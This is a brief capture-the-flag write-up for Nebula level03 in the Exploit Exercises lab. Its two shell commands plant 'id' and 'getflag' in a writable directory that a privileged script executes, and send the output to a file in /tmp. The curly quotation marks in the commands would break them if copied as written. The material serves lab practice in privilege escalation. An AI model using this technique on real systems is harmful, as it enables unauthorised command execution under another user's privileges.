Exploit Exercises – nebula level03
# echo “”id” > /tmp/pwn_log” >> /home/flag03/writeable.d/run_this
# echo “”getflag” >> /tmp/pwn_log” >> /home/flag03/writeable.d/run_this
writeable.sh script reads input from any file in writeable.d directory, and executes it. Since it does not print an output, we will need to redirect the command run output to a file.